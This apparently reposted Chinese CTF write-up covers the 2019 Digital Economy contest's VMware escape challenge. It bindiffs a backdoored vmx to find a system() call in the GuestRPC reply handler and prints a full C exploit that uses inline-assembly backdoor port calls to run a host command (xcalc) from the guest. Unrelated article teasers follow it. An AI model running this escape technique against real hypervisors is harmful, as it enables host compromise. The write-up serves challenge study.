2019数字经济公测大赛-VMware逃逸

文章目录

  • 环境搭建
  • 漏洞点
  • exp

环境搭建

  • ubuntu :18.04.01
  • vmware: VMware-Workstation-Full-15.5.0-14665864.x86_64.bundle
    这里环境搭不成功。。patch过后就报错,不知道咋搞 发现可能是IDA加载后的patch似乎不行对原来的patch可能有影响,重新下了patch,发现可以了,但没网。。。。但好像自带vmtools了。。

漏洞点

bindiff 对比原来的vmx和patch过的,发现存在如下修改
在这里插入图片描述
被替换为nop并且留了后门
在这里插入图片描述

sub_16E220函数开始时通过调用sub_5463D0(1LL)获取一个值v2,用于决定switch语句执行哪个case。对应RPC各个通信
打开 GuestRPC 通道
发送命令长度
发送命令数据
接收回复大小
接收回复数据
发出接收结束信号
关闭频道

bindiff不同位置其对应的反编译代码,属于case 4

发现其中有关于channel的字符串GuestMsg: Channel %u, Not enough memory to receive a message,加上函数开头的switch case判断number的范围为0-6,很容易联想到这就是GuestRPC Handler(是处理 RPC 通信的代码),一个RPC指令处理函数,下面代码只包含了漏洞所在的部分,可以看到这个路径是当subcommand=0x4,也就是Receive reply data的处理部分

   case 4u:
      v49 = sub_16DE80(6LL, 7LL);
      v8 = (_DWORD *)v49;
      if ( !v49 )
        goto LABEL_62;
      LODWORD(v9) = *(_DWORD *)v49;
      if ( *(_DWORD *)v49 != 3 )
        goto LABEL_20;
      if ( *(_BYTE *)(v49 + 8) == 1 )
        goto LABEL_48;
      if ( !*(_QWORD *)(v49 + 56) )
        goto LABEL_90;
      if ( (sub_5463D0(3LL) & 1) == 0 )
      {
        v11 = (__int64)v8;
        goto LABEL_81;
      }
      v36 = (unsigned __int64)&stru_20000;
      sub_546480(2LL, &stru_20000);
      v50 = (unsigned int)v8[12];
      v51 = (unsigned __int16 *)(*((_QWORD *)v8 + 7) + (unsigned int)v8[11] - v50);
      if ( (_DWORD)v50 == 2 )
      {
        v36 = *v51;
        v37 = (_BYTE *)(&dword_0 + 3);
        sub_546480(3LL, v36);
        v52 = v8[12] - 2;
        v8[12] = v52;
      }
      else if ( (_DWORD)v50 == 3 )
      {
        v37 = (const char *)*((_QWORD *)v8 + 7);
        system(v37);
        v52 = v8[12] - 3;
        v8[12] = v52;
      }
      else
      {
        if ( (_DWORD)v50 == 1 )
        {
          v36 = *(unsigned __int8 *)v51;
          v37 = (_BYTE *)(&dword_0 + 3);
          sub_546480(3LL, v36);
          v52 = v8[12] - 1;
        }
        else
        {
          v36 = *(unsigned int *)v51;
          v37 = (_BYTE *)(&dword_0 + 3);
          sub_546480(3LL, v36);
          v52 = v8[12] - 4;
        }
        v8[12] = v52;
      }
      if ( !v52 )
        *v8 = 4;
LABEL_31:
      v44 = sub_533C10(v37, v36, v9);
      v19 = 0x10000LL;
      *((_QWORD *)v8 + 2) = v44;
      goto LABEL_12;

其中 need 表示还未发送数据的长度,在 need >= 4 的时候每次发送 4 字节,最后特判了 need < 4 的情况。而后门函数位于 need == 3 的判断中。

另外通过调试发现 state == 3 出现在 host 向 guest 回复数据的阶段,因此我们需要让 host 向 guest 回复数据长度模 4 余 3 同时 buf 恰好是要执行的命令。

通过调试发现回复数据长度为 info-set guestinfo.x 后面跟的字符串长度加 2,并且执行的命令就是这个字符串(前面拼接了两个字节包含一个字符1 recv rpc data中有提到rpctype前两个字节表示成功还是失败 在 Recieve RPC reply length 中提到过,应答数据的前两个字节始终表示 RPC command 的状态)。最最终need的总个数就是 info-set guestinfo.x 后面跟的字符串长度加2,即1 字符串,buf就是这个的起始地址,所以system执行指令会执行1 字符串,为了执行字符串中的指令,所以字符串刚开始有个;来结束,最后我们保证字符串长度加2模4余3就好了(也就是字符串长度模4余1)

这里已经包含一个字符了,所以保证剩下的是4的倍数就行了,这里相当任意命令执行了,因为可以通过添加空格来填补,最后添个;或者&,不然虚拟机出问题
在这里插入图片描述

然后是执行命令的参数前面固定为1,我在后面加了个;来执行下一条命令,因此最终去执行的命令就是/usr/bin/xcalc ;

exp

#include <ctype.h>
#include <stdint-gcc.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void byte_dump(char *desc, void *addr, int len) {
    uint8_t *buf8 = (unsigned char *) addr;
    if (desc != NULL) {
        printf("[*] %s:\n", desc);
    }
    for (int i = 0; i < len; i += 16) {
        printf("  %04x", i);
        for (int j = 0; j < 16; j++) {
            i + j < len ? printf(" %02x", buf8[i + j]) : printf("   ");
        }
        printf("   ");
        for (int j = 0; j < 16 && j + i < len; j++) {
            printf("%c", isprint(buf8[i + j]) ? buf8[i + j] : '.');
        }
        puts("");
    }
}
void channel_open(int *cookie1, int *cookie2, int *channel_num, int *res) {
    asm("movl %%eax,%%ebx\n\t"
        "movq %%rdi,%%r10\n\t"
        "movq %%rsi,%%r11\n\t"
        "movq %%rdx,%%r12\n\t"
        "movq %%rcx,%%r13\n\t"
        "movl $0x564d5868,%%eax\n\t"
        "movl $0xc9435052,%%ebx\n\t"
        "movl $0x1e,%%ecx\n\t"
        "movl $0x5658,%%edx\n\t"
        "out %%eax,%%dx\n\t"
        "movl %%edi,(%%r10)\n\t"
        "movl %%esi,(%%r11)\n\t"
        "movl %%edx,(%%r12)\n\t"
        "movl %%ecx,(%%r13)\n\t"
        :
        :
        : "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r8", "%r10", "%r11", "%r12", "%r13");
}

void channel_set_len(int cookie1, int cookie2, int channel_num, int len, int *res) {
    asm("movl %%eax,%%ebx\n\t"
        "movq %%r8,%%r10\n\t"
        "movl %%ecx,%%ebx\n\t"
        "movl $0x564d5868,%%eax\n\t"
        "movl $0x0001001e,%%ecx\n\t"
        "movw $0x5658,%%dx\n\t"
        "out %%eax,%%dx\n\t"
        "movl %%ecx,(%%r10)\n\t"
        :
        :
        : "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r10");
}

void channel_send_data(int cookie1, int cookie2, int channel_num, int len, char *data, int *res) {
    asm("pushq %%rbp\n\t"
        "movq %%r9,%%r10\n\t"
        "movq %%r8,%%rbp\n\t"
        "movq %%rcx,%%r11\n\t"
        "movq $0,%%r12\n\t"
        "1:\n\t"
        "movq %%r8,%%rbp\n\t"
        "add %%r12,%%rbp\n\t"
        "movl (%%rbp),%%ebx\n\t"
        "movl $0x564d5868,%%eax\n\t"
        "movl $0x0002001e,%%ecx\n\t"
        "movw $0x5658,%%dx\n\t"
        "out %%eax,%%dx\n\t"
        "addq $4,%%r12\n\t"
        "cmpq %%r12,%%r11\n\t"
        "ja 1b\n\t"
        "movl %%ecx,(%%r10)\n\t"
        "popq %%rbp\n\t"
        :
        :
        : "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r10", "%r11", "%r12");
}

void channel_recv_reply_len(int cookie1, int cookie2, int channel_num, int *len, int *res) {
    asm("movl %%eax,%%ebx\n\t"
        "movq %%r8,%%r10\n\t"
        "movq %%rcx,%%r11\n\t"
        "movl $0x564d5868,%%eax\n\t"
        "movl $0x0003001e,%%ecx\n\t"
        "movw $0x5658,%%dx\n\t"
        "out %%eax,%%dx\n\t"
        "movl %%ecx,(%%r10)\n\t"
        "movl %%ebx,(%%r11)\n\t"
        :
        :
        : "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r10", "%r11");
}

void channel_recv_data(int cookie1, int cookie2, int channel_num, int offset, char *data, int *res) {
    asm("pushq %%rbp\n\t"
        "movq %%r9,%%r10\n\t"
        "movq %%r8,%%rbp\n\t"
        "movq %%rcx,%%r11\n\t"
        "movq $1,%%rbx\n\t"
        "movl $0x564d5868,%%eax\n\t"
        "movl $0x0004001e,%%ecx\n\t"
        "movw $0x5658,%%dx\n\t"
        "in %%dx,%%eax\n\t"
        "add %%r11,%%rbp\n\t"
        "movl %%ebx,(%%rbp)\n\t"
        "movl %%ecx,(%%r10)\n\t"
        "popq %%rbp\n\t"
        :
        :
        : "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r10", "%r11", "%r12");
}

void channel_recv_finish(int cookie1, int cookie2, int channel_num, int *res) {
    asm("movl %%eax,%%ebx\n\t"
        "movq %%rcx,%%r10\n\t"
        "movq $0x1,%%rbx\n\t"
        "movl $0x564d5868,%%eax\n\t"
        "movl $0x0005001e,%%ecx\n\t"
        "movw $0x5658,%%dx\n\t"
        "out %%eax,%%dx\n\t"
        "movl %%ecx,(%%r10)\n\t"
        :
        :
        : "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r10");
}

void channel_recv_finish2(int cookie1, int cookie2, int channel_num, int *res) {
    asm("movl %%eax,%%ebx\n\t"
        "movq %%rcx,%%r10\n\t"
        "movq $0x21,%%rbx\n\t"
        "movl $0x564d5868,%%eax\n\t"
        "movl $0x0005001e,%%ecx\n\t"
        "movw $0x5658,%%dx\n\t"
        "out %%eax,%%dx\n\t"
        "movl %%ecx,(%%r10)\n\t"
        :
        :
        : "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r10");
}

void channel_close(int cookie1, int cookie2, int channel_num, int *res) {
    asm("movl %%eax,%%ebx\n\t"
        "movq %%rcx,%%r10\n\t"
        "movl $0x564d5868,%%eax\n\t"
        "movl $0x0006001e,%%ecx\n\t"
        "movw $0x5658,%%dx\n\t"
        "out %%eax,%%dx\n\t"
        "movl %%ecx,(%%r10)\n\t"
        :
        :
        : "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r10");
}

typedef struct {
    int cookie1;
    int cookie2;
    int num;
} channel;

void run_cmd(char *cmd) {
    channel cannel;
    int res, len;
    channel_open(&cannel.cookie1, &cannel.cookie2, &cannel.num, &res);
    if (!res) {
        puts("[-] fail to open channel.");
        exit(EXIT_FAILURE);
    }
    channel_set_len(cannel.cookie1, cannel.cookie2, cannel.num, strlen(cmd), &res);
    if (!res) {
        puts("[-] fail to set len");
        exit(EXIT_FAILURE);
    }
    channel_send_data(cannel.cookie1, cannel.cookie2, cannel.num, strlen(cmd), cmd, &res);

    channel_recv_reply_len(cannel.cookie1, cannel.cookie2, cannel.num, &len, &res);
    if (!res) {
        puts("[-] fail to recv data len");
        exit(EXIT_FAILURE);
    }
    printf("[*] recv len:%d\n", len);

    char *data = malloc(len);
    memset(data, 0, len );
    for (int i = 0; i < len ; i += 4) {
        channel_recv_data(cannel.cookie1, cannel.cookie2, cannel.num, i, data, &res);
    }

    byte_dump("recv data", data, len );

    channel_recv_finish(cannel.cookie1, cannel.cookie2, cannel.num, &res);
    if (!res) {
        puts("[-] fail to recv finish");
        exit(EXIT_FAILURE);
    }

    channel_close(cannel.cookie1, cannel.cookie2, cannel.num, &res);
    if (!res) {
        puts("[-] fail to close channel");
        exit(EXIT_FAILURE);
    }
}

int main() {
    run_cmd("info-set guestinfo.x ;/usr/bin/xcalc ;");
    run_cmd("info-get guestinfo.x");
    return 0;
}

asm中的冒号:

  • 第一个冒号后的空字符串表示没有输出操作数。
  • 第二个冒号后的空字符串表示没有输入操作数。
  • 第三个冒号后的列表是被修改的寄存器列表,用于告知编译器哪些寄存器被嵌入的汇编代码修改了。

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/870076.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

通信原理-思科实验三:无线局域网实验

实验三 无线局域网实验 一&#xff1a;无线局域网基础服务集 实验步骤&#xff1a; 进入物理工作区&#xff0c;导航选择 城市家园; 选择设备 AP0&#xff0c;并分别选择Laptop0、Laptop1放在APO范围外区域 修改笔记本的网卡&#xff0c;从以太网卡切换到无线网卡WPC300N 切…

Web前端:HTML篇(一)

HTML简介&#xff1a; 超文本标记语言&#xff08;英语&#xff1a;HyperText Markup Language&#xff0c;简称&#xff1a;HTML&#xff09;是一种用于创建网页的标准标记语言。 您可以使用 HTML 来建立自己的 WEB 站点&#xff0c;HTML 运行在浏览器上&#xff0c;由浏览器…

集合的面试题和五种集合的详细讲解

20240724 一、面试题节选二、来自于b站人人都是程序员的视频截图 &#xff08;感谢人人都是程序员大佬的视频&#xff0c;针对于个人复习。&#xff09; 一、面试题节选 二、来自于b站人人都是程序员的视频截图 hashmap&#xff1a; 唯一的缺点&#xff0c;无序&#xf…

【JavaScript】`Map` 数据结构

文章目录 一、Map 的基本概念二、常见操作三、与对象的对比四、实际应用场景 在现代 JavaScript 中&#xff0c;Map 是一种非常重要且强大的数据结构。与传统的对象&#xff08;Object&#xff09;不同&#xff0c;Map 允许您使用各种类型的值作为键&#xff0c;不限于字符串或…

DjangoRF实战-2-apps-users

1、用户模块 创建一个用户模块子应用&#xff0c;用来管理用户&#xff0c;和认证和授权。 1.1根目录创建apps&#xff0c; 为了使用方便&#xff0c;还需要再pycharm中设置一下资源路径&#xff0c;就可以自动提示 1.2注册子应用 1.3添加应用根目录到环境变量path python导…

7月21日,贪心练习

大家好呀&#xff0c;今天带来一些贪心算法的应用解题、 一&#xff0c;柠檬水找零 . - 力扣&#xff08;LeetCode&#xff09; 解析&#xff1a; 本题的贪心体现在对于20美元的处理上&#xff0c;我们总是优先把功能较少的10元作为找零&#xff0c;这样可以让5元用处更大 …

Golang实现免费天气预报获取(OpenWeatherMap)

最近接到公司的一个小需求&#xff0c;需要天气数据&#xff0c;所以就做了一个小接口&#xff0c;供前端调用 这些数据包括六个元素&#xff0c;如降水、风、大气压力、云量和温度。有了这些&#xff0c;你可以分析趋势&#xff0c;知道明天的数据来预测天气。 1.1 工具简介 …

Linux 安装 GDB (无Root 权限)

引入 在Linux系统中&#xff0c;如果你需要在集群或者远程操作没有root权限的机子&#xff0c;安装GDB&#xff08;GNU调试器&#xff09;可能会有些限制&#xff0c;因为通常安装新软件或更新系统文件需要管理员权限。下面我们介绍可以在没有root权限的情况下安装GDB&#xf…

vue3响应式用法(高阶性能优化)

文章目录 前言&#xff1a;一、 shallowRef()二、 triggerRef()三、 customRef()四、 shallowReactive()五、 toRaw()六、 markRaw()七、 shallowReadonly()小结&#xff1a; 前言&#xff1a; 翻别人代码时&#xff0c;总结发现极大部分使用vue3的人只会用ref和reactive处理响…

谷歌AI拿下IMO奥数银牌!6道题轻松解出4道~

本周四&#xff0c;谷歌DeepMind团队宣布了一项令人瞩目的成就&#xff1a;&#xff1a;用 AI 做出了今年国际数学奥林匹克竞赛 IMO 的真题&#xff0c;并且距拿金牌仅一步之遥。这一成绩不仅标志着人工智能在数学推理领域的重大突破&#xff0c;也引发了全球范围内的广泛关注和…

时序分解 | Matlab基于CEEMDAN-CPO-VMD的CEEMDAN结合冠豪猪优化算法(CPO)优化VMD二次分解

时序分解 | Matlab基于CEEMDAN-CPO-VMD的CEEMDAN结合冠豪猪优化算法&#xff08;CPO&#xff09;优化VMD二次分解 目录 时序分解 | Matlab基于CEEMDAN-CPO-VMD的CEEMDAN结合冠豪猪优化算法&#xff08;CPO&#xff09;优化VMD二次分解效果一览基本介绍程序设计参考资料 效果一览…

leetcode-148. 排序链表

题目描述 给你链表的头结点 head &#xff0c;请将其按 升序 排列并返回 排序后的链表 。 示例 1&#xff1a; 输入&#xff1a;head [4,2,1,3] 输出&#xff1a;[1,2,3,4]示例 2&#xff1a; 输入&#xff1a;head [-1,5,3,4,0] 输出&#xff1a;[-1,0,3,4,5]示例 3&#x…

UFO:革新Windows操作系统交互的UI聚焦代理

人工智能咨询培训老师叶梓 转载标明出处 人机交互的便捷性和效率直接影响着我们的工作和生活质量。尽管现代操作系统如Windows提供了丰富的图形用户界面&#xff08;GUI&#xff09;&#xff0c;使得用户能够通过视觉和简单的点击操作来控制计算机&#xff0c;但随着应用程序功…

javaEE-04-Filter

文章目录 FilterFilter 的生命周期FilterConfig类FilterChain过滤器链Filter 的拦截路径 Filter Filter 过滤器它是 JavaWeb 的三大组件之一,它是 JavaEE 的规范。也就是接口,它的作用是&#xff1a;拦截请求&#xff0c;过滤响应。 Filter的工作流程图解&#xff1a; 以管…

HarmonyOS NEXT零基础入门到实战-第四部分

自定义组件: 概念: 由框架直接提供的称为 系统组件&#xff0c; 由开发者定义的称为 自定义组件。 源代码&#xff1a; Component struct MyCom { build() { Column() { Text(我是一个自定义组件) } } } Component struct MyHeader { build() { Row(…

【北京迅为】《i.MX8MM嵌入式Linux开发指南》-第三篇 嵌入式Linux驱动开发篇-第五十五章 Pinctrl和GPIO子系统实验

i.MX8MM处理器采用了先进的14LPCFinFET工艺&#xff0c;提供更快的速度和更高的电源效率;四核Cortex-A53&#xff0c;单核Cortex-M4&#xff0c;多达五个内核 &#xff0c;主频高达1.8GHz&#xff0c;2G DDR4内存、8G EMMC存储。千兆工业级以太网、MIPI-DSI、USB HOST、WIFI/BT…

神经网络拟合任何函数的数学原理

神经网络拟合任何函数的数学原理 神经网络拟合能力的数学表达 神经网络之所以理论上可以拟合任何函数&#xff0c;其核心在于其多层的结构和非线性的激活函数。通过增加层数和神经元数量&#xff0c;神经网络可以逼近复杂的函数关系。这一过程可以通过万能近似定理&#xff08…

Vue中的diff算法

文章目录 diff算法是什么比较方式源码分析patchpatchVnodeupdateChildren小结Vue3中diff算法优化diff算法是什么 diff算法是一种通过同层的树节点进行比较的高效算法 其有两个特点: 比较只会在同层级进行,不会跨层级比较在dff比较的过程中,循环从两边向中间比较(首位交叉…

24年第三届钉钉杯大学生大数据挑战赛浅析

需要完整资料&#xff0c;请关注WX&#xff1a;“小何数模”&#xff01; 本次钉钉杯大数据挑战赛的赛题已正式出炉&#xff0c;无论是赛题难度还是认可度&#xff0c;该比赛都是仅次于数模国赛的独一档&#xff0c;可以用于国赛前的练手训练。考虑到大家解题实属不易&#xf…

LiRouter V3.0无人机自主精细化巡检 LiStation V3.0输电线路巡检数障处理分系统 软件下载License使用

PeacePower LiRouter 输电线路无人机自主巡检航线规划系统&#xff08;本文档中简称 “LiRouter”&#xff09;&#xff0c;是基于高精度三维点云数据&#xff0c;在少量人工干预下为输电线路无人 机自主精细化巡检自动生成并输出航线的专业软件工具。 凭借在输电线路无人机智能…